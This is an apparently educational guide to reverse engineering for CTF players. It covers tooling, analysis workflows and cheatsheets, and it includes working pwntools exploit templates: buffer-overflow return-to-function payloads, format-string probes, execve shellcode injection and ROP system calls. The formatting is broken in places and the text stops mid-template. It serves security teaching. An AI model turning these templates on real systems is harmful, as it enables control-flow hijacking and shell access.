# Complete Beginner's Guide to Reverse Engineering for CTF Players

*A comprehensive educational resource for aspiring security researchers and CTF enthusiasts*

---

## Table of Contents



---

## Introduction

Reverse engineering is the art of understanding how software works by examining it from the outside in. In cybersecurity and CTF competitions, reverse engineering challenges test your ability to analyze binaries, understand their functionality, and often find vulnerabilities or hidden flags.

This guide will take you from absolute beginner to having the fundamental skills needed to tackle most CTF reverse engineering challenges. We'll focus on practical, hands-on learning with real tools and techniques used by security professionals.

### Prerequisites

- Basic understanding of programming concepts
- Familiarity with command-line interfaces

- Python programming knowledge (helpful but not required)
- Curiosity and patience!

---

## What is Reverse Engineering?

Reverse engineering in cybersecurity involves:

- **Understanding program behavior** without access to source code
- **Identifying vulnerabilities** that could be exploited
- **Extracting hidden information** like passwords or flags
- **Bypassing protections** or authentication mechanisms
- **Analyzing malware** to understand its functionality

### Common CTF Challenge Types

1. **Crackme challenges** - Find the correct password or bypass authentication
2. **Binary exploitation** - Find and exploit memory corruption vulnerabilities
3. **Flag extraction** - Locate hidden flags within binaries
4. **Algorithm reconstruction** - Understand and recreate program logic
5. **Anti-debugging bypasses** - Overcome protection mechanisms

*[Screenshot placeholder: Examples of different CTF challenge types and interfaces]*

---

## Setting Up Your Environment

### Recommended Setup

For beginners, I recommend starting with a Linux environment (Ubuntu/Kali Linux) either native or in a virtual machine.

```bash
```

```
# File: setup_environment.sh
#!/bin/bash

# Update system
sudo apt update && sudo apt upgrade -y

# Install essential tools
sudo apt install -y \
    gdb \
    radare2 \
    binutils \
    strace \
    ltrace \
    hexdump \
    python3 \
    python3-pip \
    git \
    vim \
    curl \
    wget

# Install pwntools for Python
pip3 install pwntools

# Install additional useful tools
sudo apt install -y \
    ghidra \
    ida-free \
    objdump \
    readelf \
    file \
    strings

echo "Environment setup complete!"
```

## Environment Variables Setup

Create a `.env` file for your workspace:

```
bash
```

```
# File: .env
# Workspace configuration
WORKSPACE_DIR="$HOME/ctf-reversing"
TOOLS_DIR="$HOME/tools"
BINARIES_DIR="$HOME/ctf-reversing/binaries"
EXPLOITS_DIR="$HOME/ctf-reversing/exploits"

# Default settings
DEFAULT_ARCH="amd64"
DEFAULT_OS="linux"
```

*[Screenshot placeholder: Terminal showing successful tool installation and version checks]*

---

## Essential Tools Overview

### 1. File Analysis Tools

#### `file` Command

**Purpose**: Identify file types and basic properties

```bash
file binary_name
# Output: ELF 64-bit LSB executable, x86-64, dynamically linked
```

#### `strings` Command

**Purpose**: Extract printable strings from binaries

```bash
strings binary_name | grep -i "flag\|pass\|secret"
```

#### `hexdump` / `xxd`

**Purpose**: View binary content in hexadecimal format

```bash
hexdump -C binary_name | head -20
xxd binary_name | less
```

## 2. Static Analysis Tools

### Ghidra (Free NSA Tool)

**Purpose**: Professional-grade reverse engineering suite

- **Pros**: Free, powerful decompiler, extensive analysis features
- **Cons**: Learning curve, resource-intensive
- **Best for**: Complex binaries, comprehensive analysis

*[Screenshot placeholder: Ghidra interface showing decompiled code]*

### Radare2 (r2)

**Purpose**: Command-line reverse engineering framework

- **Pros**: Powerful, scriptable, cross-platform
- **Cons**: Steep learning curve, command-heavy interface
- **Best for**: Quick analysis, scripting, headless environments

### IDA Free

**Purpose**: Industry standard disassembler

- **Pros**: Excellent disassembly, plugin ecosystem
- **Cons**: Limited free version, expensive pro version
- **Best for**: Professional analysis, plugin development

## 3. Dynamic Analysis Tools

### GDB (GNU Debugger)

**Purpose**: Debug and analyze running programs

- **Pros**: Powerful, flexible, well-documented
- **Cons**: Command-line interface can be intimidating
- **Best for**: Understanding program execution, finding vulnerabilities

### GDB with GEF/PEDA

**Purpose**: Enhanced GDB with better interface

- **Pros**: Colored output, additional commands, exploit-focused

- **Cons**: Additional dependencies
- **Best for**: Exploit development, visual debugging

*[Screenshot placeholder: GDB with GEF showing register states and memory layout]*

**strace / ltrace**

**Purpose**: Trace system calls and library calls

```bash
strace ./binary_name      # System calls
ltrace ./binary_name      # Library calls
```

---

## Basic Binary Analysis Workflow

### Step 1: Initial Reconnaissance

```bash
```

```
# File: basic_analysis.sh
#!/bin/bash

BINARY=$1

echo "=== Basic Binary Analysis ==="
echo "File: $BINARY"
echo

echo "1. File Type Analysis:"
file $BINARY
echo

echo "2. Binary Properties:"
readelf -h $BINARY 2>/dev/null || echo "Not an ELF file"
echo

echo "3. String Analysis:"
echo "Interesting strings:"
strings $BINARY | grep -E "(flag|password|secret|admin|root|key)" | head -10
echo

echo "4. Function Symbols:"
if readelf -s $BINARY 2>/dev/null | grep -q "FUNC"; then
    echo "Functions found:"
    readelf -s $BINARY | grep "FUNC" | head -10
else
    echo "Binary appears to be stripped"
fi
echo

echo "5. Security Protections:"
if command -v checksec >/dev/null; then
    checksec --file=$BINARY
else
    echo "Install checksec for security analysis"
fi
```

*[Screenshot placeholder: Terminal output showing results of basic analysis script]*

## Step 2: Static Analysis Deep Dive

### Using Ghidra

1. **Launch Ghidra**: `ghidra`
2. **Create New Project**: File → New Project
3. **Import Binary**: File → Import File
4. **Auto-Analyze**: When prompted, accept default analysis options
5. **Navigate Code**: Use the Symbol Tree to find main() function

*[Screenshot placeholder: Step-by-step Ghidra project creation and import process]*

**Key Areas to Examine:**

```python
```

```python
# File: analysis_checklist.py
#!/usr/bin/env python3

"""
Static Analysis Checklist for CTF Binaries
"""

checklist = {
    "entry_points": [
        "main() function",
        "_start function",
        "entry point from header"
    ],

    "interesting_functions": [
        "Functions with 'win', 'flag', 'secret' in name",
        "Functions that call system()",
        "Functions that read files",
        "Unused or 'dead' code"
    ],

    "data_sections": [
        "String literals",
        "Hardcoded values",
        "Global variables",
        "Embedded data"
    ],

    "potential_vulnerabilities": [
        "Buffer overflow opportunities",
        "Format string vulnerabilities",
        "Integer overflows",
        "Use after free"
    ]
}

def print_checklist():
    for category, items in checklist.items():
        print(f"\n{category.upper().replace('_', ' ')}:")
        for item in items:
            print(f"  □ {item}")

if __name__ == "__main__":
```

```
print("=== CTF Binary Analysis Checklist ===")
print_checklist()
```

### Step 3: Dynamic Analysis

#### Basic GDB Usage

bash

```
# File: gdb_basics.sh
#!/bin/bash

# Basic GDB commands for binary analysis

echo "=== GDB Basic Commands ==="
echo
echo "Starting GDB:"
echo "  gdb ./binary_name"
echo
echo "Essential Commands:"
echo "  (gdb) run                 # Execute the program"
echo "  (gdb) break main          # Set breakpoint at main"
echo "  (gdb) break *0x401234     # Set breakpoint at address"
echo "  (gdb) continue            # Continue execution"
echo "  (gdb) step                # Step into function calls"
echo "  (gdb) next                # Step over function calls"
echo "  (gdb) info registers      # Show register values"
echo "  (gdb) x/20x \$rsp          # Examine stack memory"
echo "  (gdb) disas main          # Disassemble main function"
echo "  (gdb) print variable_name # Print variable value"
echo "  (gdb) backtrace           # Show call stack"
echo "  (gdb) quit                # Exit GDB"
```

*[Screenshot placeholder: GDB session showing breakpoints, register values, and stack examination]*

---

## Static Analysis Fundamentals

### Understanding Assembly Basics

#### x86-64 Registers

General Purpose Registers:
RAX - Accumulator (return values)
RBX - Base register
RCX - Counter register
RDX - Data register
RSI - Source index (function args)
RDI - Destination index (function args)
RSP - Stack pointer
RBP - Base pointer (frame pointer)

Key Instructions:
MOV - Move data
PUSH/POP - Stack operations
CALL/RET - Function calls
JMP/JE/JNE - Jumps and conditionals
CMP - Compare values
ADD/SUB - Arithmetic

### Common Patterns to Look For

assembly

```
# Password checking pattern
cmp    $0x1337, %eax    ; Compare input with expected value
je     success_function  ; Jump if equal to success

# Buffer overflow vulnerability
lea    -0x20(%rbp), %rax ; Load buffer address (32 bytes)
mov    %rax, %rdi        ; Set as destination
call   gets              ; Dangerous function - no bounds checking!

# Hidden functionality
call   system            ; Execute shell command
.string "/bin/sh"        ; Shell command string
```

*[Screenshot placeholder: Assembly code view in Ghidra showing these patterns highlighted]*

## Identifying Vulnerabilities

### Buffer Overflow Indicators

c

```c
// File: vulnerability_patterns.c
// Common vulnerable patterns to look for in decompiled code

// 1. Dangerous functions
gets(buffer);                // No bounds checking
strcpy(dest, source);        // No length validation
strcat(dest, source);        // Can exceed buffer
sprintf(buffer, format, ...); // Format string + overflow

// 2. Fixed-size buffers with user input
char buffer[64];
fgets(buffer, 1000, stdin);  // Reading more than buffer size!

// 3. Missing bounds checks
int index;
scanf("%d", &index);
array[index] = value;        // No validation of index

// 4. Integer overflows
int size;
scanf("%d", &size);
char* buffer = malloc(size);  // What if size is negative?
```

---

## Dynamic Analysis Techniques

### Finding Crash Points

python

```python
# File: crash_finder.py
#!/usr/bin/env python3

"""
Simple script to find crash points in binaries using pattern generation
"""

from pwn import *
import string

def generate_pattern(length):
    """Generate a cyclic pattern for overflow testing"""
    pattern = cyclic(length)
    return pattern

def test_crash(binary_path, pattern_length):
    """Test if binary crashes with given pattern length"""
    try:
        # Start the process
        p = process(binary_path)

        # Generate pattern
        pattern = generate_pattern(pattern_length)

        # Send pattern
        p.sendline(pattern)

        # Wait for process to finish
        p.wait()

        # Check return code
        if p.returncode < 0:  # Negative return code indicates crash
            log.success(f"Crash found with {pattern_length} bytes!")
            return True
        else:
            log.info(f"No crash with {pattern_length} bytes")
            return False

    except Exception as e:
        log.error(f"Error testing {pattern_length} bytes: {e}")
        return False

def find_crash_point(binary_path, start=50, end=200, step=10):
```

```
    """Find the approximate point where binary starts crashing"""
    log.info(f"Testing crash points for {binary_path}")

    for length in range(start, end, step):
        if test_crash(binary_path, length):
            return length

    log.warning("No crash point found in tested range")
    return None

# Example usage
if __name__ == "__main__":
    binary = "./vulnerable_binary"
    crash_point = find_crash_point(binary)

    if crash_point:
        log.success(f"Binary crashes at approximately {crash_point} bytes")

        # Generate pattern for detailed analysis
        pattern = generate_pattern(crash_point)
        with open("crash_pattern.txt", "wb") as f:
            f.write(pattern)

        log.info("Crash pattern saved to crash_pattern.txt")
        log.info("Use this pattern with GDB to find exact offset")
```

## Precise Offset Finding

bash

```
# File: find_offset.sh
#!/bin/bash

BINARY=$1
PATTERN_FILE="crash_pattern.txt"

echo "=== Finding Exact Offset ==="
echo "1. Start GDB with pattern"
echo "   gdb $BINARY"
echo
echo "2. In GDB, run with pattern:"
echo "   (gdb) run < $PATTERN_FILE"
echo
echo "3. After crash, check RSP:"
echo "   (gdb) info registers"
echo "   (gdb) x/gx \$rsp"
echo
echo "4. Find pattern offset:"
echo "   Take the value from RSP and use:"
echo "   python3 -c \"from pwn import *; print(cyclic_find(0x<VALUE>))\""
echo
echo "5. Verify offset:"
echo "   Create payload: 'A' * offset + 'BBBBBBBB'"
echo "   RSP should contain 0x4242424242424242"
```

*[Screenshot placeholder: GDB session showing crashed program with pattern in registers]*

---

## Common Vulnerability Types

### 1. Stack Buffer Overflow

#### Identification

- Look for functions using `gets()`, `strcpy()`, `scanf()` without bounds
- Fixed-size buffers receiving user input
- Missing length validation

#### Exploitation Pattern

```
python
```

```python
# File: buffer_overflow_template.py
#!/usr/bin/env python3

from pwn import *

# Configuration
binary_path = "./vulnerable_binary"
host = "target.ctf.com"
port = 1337

# Set context for target architecture
context.arch = 'amd64'
context.log_level = 'info'

def exploit_local():
    """Exploit local binary"""
    p = process(binary_path)
    return exploit_common(p)

def exploit_remote():
    """Exploit remote service"""
    p = remote(host, port)
    return exploit_common(p)

def exploit_common(p):
    """Common exploitation logic"""
    # Wait for prompt
    p.recvuntil(b"Enter name: ")

    # Craft payload
    offset = 40  # Found through analysis
    target_function = 0x401234  # Address of win function

    payload = b'A' * offset
    payload += p64(target_function)

    # Send payload
    log.info("Sending payload...")
    p.sendline(payload)

    # Interact with shell/response
    p.interactive()
```

```
if __name__ == "__main__":
    # Uncomment appropriate line:
    exploit_local()
    # exploit_remote()
```

## 2. Format String Vulnerabilities

### Identification

c

```
// Vulnerable patterns:
printf(user_input);          // Direct user input to printf
fprintf(file, user_input);   // Same issue with fprintf
snprintf(buffer, size, user_input); // Can leak memory
```

### Exploitation Basics

python

```python
# File: format_string_exploit.py
#!/usr/bin/env python3

from pwn import *

def test_format_string(binary_path):
    """Test for format string vulnerability"""
    p = process(binary_path)

    # Test payloads
    test_payloads = [
        b"%x" * 10,          # Leak stack values
        b"%p" * 5,           # Leak pointers
        b"%s",               # Potential crash
        b"AAAA" + b"%x" * 20, # Find position of input
    ]

    for payload in test_payloads:
        try:
            p = process(binary_path)
            p.sendline(payload)
            response = p.recv(timeout=2)
            print(f"Payload: {payload}")
            print(f"Response: {response}")
            print("-" * 40)
            p.close()
        except:
            print(f"Payload {payload} caused crash or timeout")

# Example usage
if __name__ == "__main__":
    test_format_string("./format_vuln_binary")
```

*[Screenshot placeholder: Format string vulnerability output showing leaked memory values]*

## 3. Integer Overflow

### Identification

```c
```

```
// Look for patterns like:
int size;
scanf("%d", &size);
char* buffer = malloc(size);  // What if size < 0?

unsigned int length;
scanf("%u", &length);
if (length > MAX_SIZE) {     // What if length wraps around?
    return -1;
}
char buffer[length];
```

---

## Exploitation Basics

### Return-to-Function

Most basic exploitation technique - redirect execution to existing function.

```
python
```

```python
# File: ret2func_template.py
#!/usr/bin/env python3

"""
Return-to-Function Exploitation Template
Redirects execution to existing function in binary
"""

from pwn import *
import sys

def analyze_binary(binary_path):
    """Analyze binary for useful functions"""
    elf = ELF(binary_path)

    log.info("Analyzing binary functions...")

    # Look for interesting functions
    interesting_funcs = []
    for func_name in elf.symbols:
        if any(keyword in func_name.lower() for keyword in
               ['win', 'shell', 'flag', 'secret', 'admin', 'backdoor']):
            address = elf.symbols[func_name]
            interesting_funcs.append((func_name, address))
            log.success(f"Found interesting function: {func_name} @ {hex(address)}")

    return interesting_funcs

def create_payload(offset, target_address):
    """Create ROP payload"""
    payload = b'A' * offset
    payload += p64(target_address)
    return payload

def exploit(binary_path, offset, target_function):
    """Execute the exploit"""
    log.info(f"Exploiting {binary_path}")
    log.info(f"Offset: {offset}")
    log.info(f"Target: {hex(target_function)}")

    p = process(binary_path)

    # Wait for input prompt
```

```
    try:
        p.recvuntil(b"name:", timeout=5)
    except:
        log.warning("No prompt received, sending payload anyway...")

    # Create and send payload
    payload = create_payload(offset, target_function)
    p.sendline(payload)

    # Check result
    try:
        response = p.recv(timeout=3)
        log.info(f"Response: {response}")

        # If we got a shell, interact
        if b"$" in response or b"#" in response:
            log.success("Got shell!")
            p.interactive()
        else:
            log.info("Exploit completed, no shell detected")

    except:
        log.info("No response received")

    p.close()

# Example usage template
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <binary_path>")
        sys.exit(1)

    binary_path = sys.argv[1]

    # Step 1: Analyze binary
    functions = analyze_binary(binary_path)

    if not functions:
        log.error("No interesting functions found!")
        sys.exit(1)

    # Step 2: Configure exploit (these need to be found through analysis)
    offset = 40  # TODO: Find through pattern analysis
    target_function = functions[0][1]  # Use first interesting function
```

```
# Step 3: Execute exploit
exploit(binary_path, offset, target_function)
```

## Shellcode Injection (Advanced)

python

```python
# File: shellcode_template.py
#!/usr/bin/env python3

"""
Shellcode Injection Template
For when you need to execute custom code
"""

from pwn import *

def create_shellcode():
    """Create simple execve('/bin/sh') shellcode"""
    # This is x86_64 shellcode for execve('/bin/sh')
    shellcode = asm("""
        /* execve('/bin/sh', NULL, NULL) */
        xor rdi, rdi
        mul rdi
        push rdx
        push 0x68732f2f
        push 0x6e69622f
        mov rdi, rsp
        push rdx
        push rdi
        mov rsi, rsp
        mov al, 59
        syscall
    """)

    return shellcode

def exploit_with_shellcode(binary_path, offset, return_address):
    """Exploit using shellcode injection"""
    p = process(binary_path)

    # Create shellcode
    shellcode = create_shellcode()
    log.info(f"Shellcode length: {len(shellcode)} bytes")

    # Create payload
    # This assumes we can put shellcode in the buffer and jump to it
    payload = shellcode
    payload += b'A' * (offset - len(shellcode))
    payload += p64(return_address)  # Address of our shellcode
```

```
    # Send payload
    p.sendline(payload)
    p.interactive()

# Note: This template requires NX bit to be disabled
# Use checksec to verify: checksec --file=binary_name
```

*[Screenshot placeholder: Successful shellcode execution showing shell prompt]*

---

## Practical Exercises

### Exercise 1: Basic String Analysis

Create a simple binary analysis script:

```
python
```

```python
# File: exercise1_string_analysis.py
#!/usr/bin/env python3

"""
Exercise 1: String Analysis Challenge

Task: Create a script that analyzes a binary and finds:
1. All strings containing "flag"
2. All strings that look like passwords (8+ chars, mixed case)
3. All URLs or file paths
4. Potential function names
"""

import re
import sys

def analyze_strings(binary_path):
    """Your implementation here"""
    pass

def find_flags(strings):
    """Find potential flag strings"""
    # TODO: Implement flag detection logic
    pass

def find_passwords(strings):
    """Find potential password strings"""
    # TODO: Implement password pattern matching
    pass

def find_paths(strings):
    """Find file paths and URLs"""
    # TODO: Implement path detection
    pass

# Your code here...
```

## Exercise 2: GDB Automation

```python
```

```python
# File: exercise2_gdb_automation.py
#!/usr/bin/env python3

"""
Exercise 2: GDB Automation

Task: Create a script that uses GDB to:
1. Set breakpoints on all functions
2. Run the binary with test input
3. Collect information about each function call
4. Generate a report of the program flow
"""

import subprocess
import tempfile

def create_gdb_script(binary_path):
    """Create GDB script for automation"""
    script = f"""
    file {binary_path}
    set confirm off
    set pagination off

    # Your GDB commands here
    """
    return script

def run_gdb_analysis(binary_path):
    """Run automated GDB analysis"""
    # TODO: Implement GDB automation
    pass

# Your implementation here...
```

*[Screenshot placeholder: Exercise output showing automated analysis results]*

---

## Tool Cheatsheets

### GDB Quick Reference

```bash
```

```
# File: gdb_cheatsheet.txt

=== GDB ESSENTIAL COMMANDS ===

STARTING/STOPPING:
gdb <binary>              # Start GDB with binary
(gdb) run [args]          # Run program with arguments
(gdb) kill                # Kill running program
(gdb) quit                # Exit GDB

BREAKPOINTS:
(gdb) break main          # Break at main function
(gdb) break *0x401234     # Break at specific address
(gdb) break filename.c:10 # Break at line 10 in file
(gdb) info breakpoints    # List all breakpoints
(gdb) delete 1            # Delete breakpoint 1
(gdb) disable 1           # Disable breakpoint 1

EXECUTION CONTROL:
(gdb) continue            # Continue execution
(gdb) step                # Step into function calls
(gdb) next                # Step over function calls
(gdb) finish              # Run until function returns
(gdb) until               # Run until next line

EXAMINING DATA:
(gdb) info registers      # Show all registers
(gdb) print $rax          # Show register value
(gdb) x/10x $rsp          # Examine 10 hex words at RSP
(gdb) x/s 0x401234        # Examine string at address
(gdb) disas main          # Disassemble function
(gdb) bt                  # Show backtrace

MEMORY EXAMINATION:
x/[count][format][size] <address>
Formats: x(hex), d(decimal), s(string), i(instruction)
Sizes: b(byte), h(halfword), w(word), g(giant/8bytes)

Examples:
x/20x $rsp                # 20 hex words from stack
x/5i $rip                 # 5 instructions from current
x/s 0x401000              # String at address
```

```
GEF/PEDA ADDITIONS (if installed):
(gdb) checksec          # Show binary protections
(gdb) vmmap             # Show memory mappings
(gdb) pattern create 200   # Create cyclic pattern
(gdb) pattern offset $rsp  # Find offset in pattern
(gdb) rop               # Find ROP gadgets
```

## Radare2 Quick Reference

bash

```
# File: radare2_cheatsheet.txt

=== RADARE2 ESSENTIAL COMMANDS ===

BASIC USAGE:
r2 <binary>              # Open binary in radare2
r2 -d <binary>           # Open in debug mode
r2 -A <binary>           # Auto-analyze binary

ANALYSIS:
aa                       # Analyze all
aaa                      # Analyze all (more thorough)
afl                      # List all functions
afn <new_name> <old_name>  # Rename function
afi                      # Show current function info

NAVIGATION:
s main                   # Seek to main function
s 0x401234               # Seek to address
pdf                      # Print disassembly of function
pd 20                    # Print 20 disassembly lines

STRINGS AND DATA:
iz                       # List strings in data sections
izz                      # List all strings
iS                       # List sections
ie                       # List entry points

SEARCHING:
/ string                 # Search for string
/x 4142434445            # Search for hex bytes
/r <regex>               # Search with regex

VISUAL MODE:
V                        # Enter visual mode
VV                       # Enter visual graph mode
p                        # Cycle through visual modes
hjkl                     # Navigation (vim-like)

DEBUG MODE:
db 0x401234              # Set breakpoint
dc                       # Continue execution
```

```
ds              # Step instruction
dr              # Show registers
```

## Ghidra Quick Reference

```text
```

```
# File: ghidra_cheatsheet.txt

=== GHIDRA NAVIGATION ===

SHORTCUTS:
Ctrl+L        # Go to address/label
G             # Go to address in current view
Ctrl+Shift+G  # Go to address in new view
Space         # Switch between assembly and decompiled
T             # Switch to function graph
Ctrl+E        # Edit function signature

ANALYSIS:
Auto-analyze when importing (recommended)
Analysis → One Shot → Decompiler Parameter ID
Analysis → One Shot → Function ID

SEARCHING:
Search → Text                 # Search for strings
Search → Memory               # Search raw bytes
Search → For Instruction Patterns # Find assembly patterns

BOOKMARKS:
Ctrl+D        # Create bookmark
Ctrl+Shift+B  # Show bookmarks window

CROSS-REFERENCES:
Right-click → References → Show References to...
Right-click → References → Show References from...

FUNCTION ANALYSIS:
Window → Functions            # Show function list
Right-click function → Edit Function Signature
F → Create Function (at cursor)
U → Undefine (remove function definition)

DATA TYPES:
Ctrl+Shift+T  # Choose data type
B             # Create byte
W             # Create word
D             # Create dword
Q             # Create qword
```

*[Screenshot placeholder: Side-by-side comparison of GDB, r2, and Ghidra interfaces]*

## Python pwntools Cheatsheet

```python
```

```python
# File: pwntools_cheatsheet.py

"""
=== PWNTOOLS ESSENTIAL FUNCTIONS ===
"""

from pwn import *

# === CONNECTION ===
p = process('./binary')            # Local process
p = remote('host', port)           # Remote connection
p = ssh('user', 'host', password='pass').process('./binary')  # SSH

# === CONTEXT ===
context.arch = 'amd64'             # Set architecture
context.os = 'linux'               # Set OS
context.log_level = 'debug'        # Set logging level
context.binary = './binary'        # Set binary context

# === PACKING/UNPACKING ===
p32(0x41414141)                    # Pack 32-bit value
p64(0x4141414141414141)            # Pack 64-bit value
u32(b'AAAA')                       # Unpack 32-bit value
u64(b'AAAABBBB')                   # Unpack 64-bit value

# === PATTERNS ===
cyclic(200)                        # Generate cyclic pattern
cyclic_find(0x61616175)            # Find offset in pattern
cyclic_find(b'uaaa')               # Find offset by bytes

# === SHELLCODE ===
asm('mov eax, 1')                  # Assemble instruction
shellcraft.sh()                    # Generate shell shellcode
shellcraft.amd64.linux.sh()        # Platform-specific shellcode

# === COMMUNICATION ===
p.recv(1024)                       # Receive up to 1024 bytes
p.recvline()                       # Receive one line
p.recvuntil(b'Enter name: ')       # Receive until pattern
p.send(b'data')                    # Send data
p.sendline(b'data')                # Send data with newline
p.interactive()                    # Interactive shell mode
```

```
# === UTILITY ===
log.info('Message')              # Info logging
log.success('Success!')          # Success logging
log.warning('Warning!')          # Warning logging
log.error('Error!')              # Error logging
pause()                          # Pause execution for debugging

# === ELF ANALYSIS ===
elf = ELF('./binary')
elf.address                      # Base address
elf.symbols['main']              # Symbol address
elf.got['puts']                  # GOT entry
elf.plt['puts']                  # PLT entry
elf.search(b'/bin/sh')           # Search for bytes

# === ROP ===
rop = ROP(elf)
rop.call('system', ['/bin/sh'])  # Call system('/bin/sh')
rop.raw('A' * 8)                 # Add raw data
str(rop)                         # Get ROP chain bytes
```

---

## Additional Learning Resources

### Books

1. **"The Shellcoder's Handbook" by Chris Anley et al.**
   - Comprehensive guide to exploit development
   - Covers various architectures and techniques
   - Great for understanding vulnerability classes
2. **"Practical Reverse Engineering" by Bruce Dang**
   - Hands-on approach to reverse engineering
   - Windows and Linux focus
   - Excellent for beginners
3. **"Reverse Engineering for Beginners" by Dennis Yurichev**
   - Free online book
   - Multiple architectures covered
   - Available at: https://beginners.re/

## Online Courses

1. **"Modern Binary Exploitation" by RPISEC**
   - Free university-level course
   - Available on GitHub with materials
   - Comprehensive coverage of exploitation
2. **"Introduction to Reverse Engineering Software" on Coursera**
   - Structured learning path
   - Practical exercises included

## CTF Platforms for Practice

```python
```

```
# File: practice_platforms.py

"""
Recommended CTF Platforms for Reverse Engineering Practice
"""

platforms = {
    "beginner_friendly": [
        {
            "name": "OverTheWire - Narnia",
            "url": "https://overthewire.org/wargames/narnia/",
            "focus": "Basic buffer overflows",
            "difficulty": "Beginner"
        },
        {
            "name": "PicoCTF",
            "url": "https://picoctf.org/",
            "focus": "Educational CTF challenges",
            "difficulty": "Beginner to Intermediate"
        },
        {
            "name": "TryHackMe",
            "url": "https://tryhackme.com/",
            "focus": "Guided learning paths",
            "difficulty": "Beginner to Advanced"
        }
    ],

    "intermediate": [
        {
            "name": "HackTheBox",
            "url": "https://hackthebox.eu/",
            "focus": "Real-world scenarios",
            "difficulty": "Intermediate to Advanced"
        },
        {
            "name": "ROP Emporium",
            "url": "https://ropemporium.com/",
            "focus": "Return Oriented Programming",
            "difficulty": "Intermediate"
        },
        {
            "name": "Exploit.Education",
```

```
            "url": "https://exploit.education/",
            "focus": "Software exploitation",
            "difficulty": "Beginner to Advanced"
        }
    ],

    "advanced": [
        {
            "name": "DEF CON CTF Quals",
            "url": "https://defcon.org/",
            "focus": "Professional-level challenges",
            "difficulty": "Advanced"
        },
        {
            "name": "Google CTF",
            "url": "https://capturetheflag.withgoogle.com/",
            "focus": "High-quality challenges",
            "difficulty": "Advanced"
        }
    ]
}

def print_platforms():
    for category, platform_list in platforms.items():
        print(f"\n{category.upper().replace('_', ' ')} PLATFORMS:")
        print("=" * 50)
        for platform in platform_list:
            print(f"• {platform['name']}")
            print(f"  URL: {platform['url']}")
            print(f"  Focus: {platform['focus']}")
            print(f"  Difficulty: {platform['difficulty']}")
            print()

if __name__ == "__main__":
    print_platforms()
```

*[Screenshot placeholder: Screenshots of different CTF platform interfaces]*

## Video Resources

1. **LiveOverflow YouTube Channel**
   - Binary exploitation tutorials
   - CTF challenge walkthroughs

- Great explanations for beginners

2. **GynvaelEN Stream Archives**
   - Live CTF solving sessions
   - Advanced techniques demonstrated
3. **John Hammond**
   - CTF writeups and tutorials
   - Tool demonstrations

### Communities and Forums

- **Reddit**: r/ReverseEngineering, r/securityCTF
- **Discord**: Many CTF teams have public Discord servers
- **IRC**: #pwning on Freenode
- **Stack Overflow**: For specific technical questions

---

## Practice Projects

### Project 1: Password Cracker

```python
```

```python
# File: project1_password_cracker.py
#!/usr/bin/env python3

"""
Project 1: Create a Password Cracking Tool

Goal: Build a tool that can:
1. Analyze password checking functions
2. Extract password validation logic
3. Generate candidate passwords
4. Brute force simple passwords

This project teaches:
- Binary analysis workflow
- Algorithm reconstruction
- Automation scripting
"""

import itertools
import string
from pwn import *

class PasswordCracker:
    def __init__(self, binary_path):
        self.binary_path = binary_path
        self.elf = ELF(binary_path)

    def analyze_strings(self):
        """Extract relevant strings from binary"""
        # TODO: Implement string extraction and analysis
        pass

    def identify_check_function(self):
        """Find the password checking function"""
        # TODO: Analyze functions to find password validation
        pass

    def extract_algorithm(self):
        """Reverse engineer the password algorithm"""
        # TODO: Use static analysis to understand password logic
        pass

    def brute_force(self, charset=string.ascii_letters + string.digits, max_length=8):
```

```
        """Brute force password with given constraints"""
        # TODO: Implement brute force logic
        pass

    def test_password(self, password):
        """Test a single password against the binary"""
        try:
            p = process(self.binary_path)
            p.sendlineafter(b"Password: ", password.encode())
            response = p.recv(timeout=1)
            p.close()

            # Check for success indicators
            if b"correct" in response.lower() or b"success" in response.lower():
                return True
            return False
        except:
            return False

# Usage example:
# cracker = PasswordCracker("./crackme")
# cracker.analyze_strings()
# password = cracker.brute_force()
```

## Project 2: Buffer Overflow Detector

python

```python
# File: project2_buffer_overflow_detector.py
#!/usr/bin/env python3

"""
Project 2: Automated Buffer Overflow Detection

Goal: Create a tool that:
1. Fuzzes binary inputs to find crashes
2. Analyzes crash information
3. Determines exploitability
4. Generates basic exploit template

This project teaches:
- Fuzzing techniques
- Crash analysis
- Exploit development process
"""

import subprocess
import tempfile
import os
from pwn import *

class BufferOverflowDetector:
    def __init__(self, binary_path):
        self.binary_path = binary_path
        self.crashes = []

    def fuzz_inputs(self, max_length=1000, step=50):
        """Fuzz binary with increasing input lengths"""
        log.info("Starting fuzzing process...")

        for length in range(step, max_length, step):
            if self._test_crash(length):
                log.success(f"Crash detected at length {length}")
                self.crashes.append(length)

                # Find precise crash point
                precise_length = self._find_precise_crash(length - step, length)
                if precise_length:
                    log.info(f"Precise crash length: {precise_length}")
                    return precise_length
```

```
    return None

def _test_crash(self, length):
    """Test if given input length causes crash"""
    try:
        # Create test input
        test_input = b'A' * length

        # Run binary with input
        p = process(self.binary_path)
        p.sendline(test_input)

        # Check if process crashed
        exit_code = p.wait()
        p.close()

        return exit_code != 0

    except Exception as e:
        log.debug(f"Error testing length {length}: {e}")
        return False

def _find_precise_crash(self, start, end):
    """Binary search to find exact crash point"""
    while start < end - 1:
        mid = (start + end) // 2
        if self._test_crash(mid):
            end = mid
        else:
            start = mid
    return end if self._test_crash(end) else None

def analyze_crash(self, crash_length):
    """Analyze crash to determine offset and exploitability"""
    log.info("Analyzing crash...")

    # Generate pattern
    pattern = cyclic(crash_length + 50)

    # Create GDB script
    gdb_script = f"""
    set confirm off
    set pagination off
    run <<< "{pattern.decode('latin1')}"
```

```
        info registers
        quit
        """

        # Write script to temporary file
        with tempfile.NamedTemporaryFile(mode='w', delete=False, suffix='.gdb') as f:
            f.write(gdb_script)
            script_path = f.name

        try:
            # Run GDB with script
            result = subprocess.run(
                ['gdb', '-batch', '-x', script_path, self.binary_path],
                capture_output=True, text=True, timeout=10
            )

            # Parse output for crash information
            return self._parse_gdb_output(result.stdout)

        finally:
            os.unlink(script_path)

    def _parse_gdb_output(self, output):
        """Parse GDB output to extract crash information"""
        # TODO: Parse register values and determine offset
        # Look for RSP value and calculate offset using cyclic_find
        pass

    def generate_exploit_template(self, offset, target_function=None):
        """Generate basic exploit template"""
        template = f'''#!/usr/bin/env python3
from pwn import *

# Target binary: {self.binary_path}
# Crash offset: {offset}

binary_path = "{self.binary_path}"
context.arch = 'amd64'

def exploit():
    p = process(binary_path)

    # Wait for input prompt
    # p.recvuntil(b"prompt: ")
```

```
    # Craft payload
    offset = {offset}
    '''

        if target_function:
            template += f'''
    target_address = {hex(target_function)}
    payload = b'A' * offset + p64(target_address)
    '''
        else:
            template += '''
